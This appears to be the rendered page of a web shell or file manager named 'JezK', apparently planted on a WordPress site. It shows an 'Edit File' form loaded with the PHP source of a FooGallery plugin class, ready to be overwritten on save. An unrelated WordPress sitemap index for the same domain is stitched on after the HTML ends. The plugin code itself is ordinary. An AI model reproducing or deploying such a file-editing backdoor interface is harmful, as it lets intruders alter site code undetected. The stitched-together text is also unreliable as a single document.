
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-foogallery-attachment-custom-class.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * Class used to add custom classes to gallery links
 * Date: 04/06/2017
 */
if ( ! class_exists( &#039;FooGallery_Attachment_Custom_Class&#039; ) ) {

	class FooGallery_Attachment_Custom_Class {

		function __construct() {
			add_filter( &#039;foogallery_attachment_custom_fields&#039;, array( $this, &#039;add_custom_class_field&#039; ) );
			add_filter( &#039;foogallery_attachment_html_link_attributes&#039;, array( $this, &#039;alter_class_attributes&#039; ), 99, 3 );
			add_action( &#039;foogallery_attachment_instance_after_load&#039;, array( $this, &#039;load_custom_class_meta&#039; ), 10, 2 );
		}

		/**
		 * Adds a custom class field to the attachments
		 *
		 * @param $fields array
		 *
		 * @return array
		 */
		function add_custom_class_field( $fields ) {
			$fields[&#039;foogallery_custom_class&#039;] = array(
				&#039;label&#039;       =&gt;  __( &#039;Custom Class&#039;, &#039;foogallery&#039; ),
				&#039;input&#039;       =&gt; &#039;text&#039;,
				&#039;helps&#039;       =&gt; __( &#039;Add extra classes to the attachment&#039;, &#039;foogallery&#039; ),
				&#039;exclusions&#039;  =&gt; array( &#039;audio&#039;, &#039;video&#039; ),
			);

			return $fields;
		}

		/**
		 * Alters the actual link output to include the custom class added
		 *
		 * @uses &quot;foogallery_attachment_html_link_attributes&quot; filter
		 *
		 * @param                             $attr
		 * @param                             $args
		 * @param object|FooGalleryAttachment $object
		 *
		 * @return array
		 */
		function alter_class_attributes( $attr, $args, $object ) {
			//if the object is a FooGalleryAttachment and has a custom class, add it to the custom class
			if ( $object instanceof FooGalleryAttachment &amp;&amp; !empty( $object-&gt;custom_class ) ) {
				if ( !isset( $attr[ &#039;class&#039; ] ) ) {
					$attr[ &#039;class&#039; ] = $object-&gt;custom_class;
				}else{
					$attr[ &#039;class&#039; ] .= &#039; &#039; . $object-&gt;custom_class;
				}

				//check for any special class names and do some magic!
				if ( &#039;nolink&#039; === $object-&gt;custom_class ) {
					unset( $attr[&#039;href&#039;] );
				}
			}

			return $attr;
		}

		/**
		 * Loads any extra custom class data for an attachment.
		 *
		 * @param $foogallery_attachment
		 * @param $post
		 */
		public function load_custom_class_meta( $foogallery_attachment, $post ) {
			$custom_class = get_post_meta( $post-&gt;ID, &#039;_foogallery_custom_class&#039;, true );
			if ( !empty( $custom_class ) ) {
				$foogallery_attachment-&gt;custom_class = foogallery_sanitize_javascript( $custom_class );
			}
		}
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
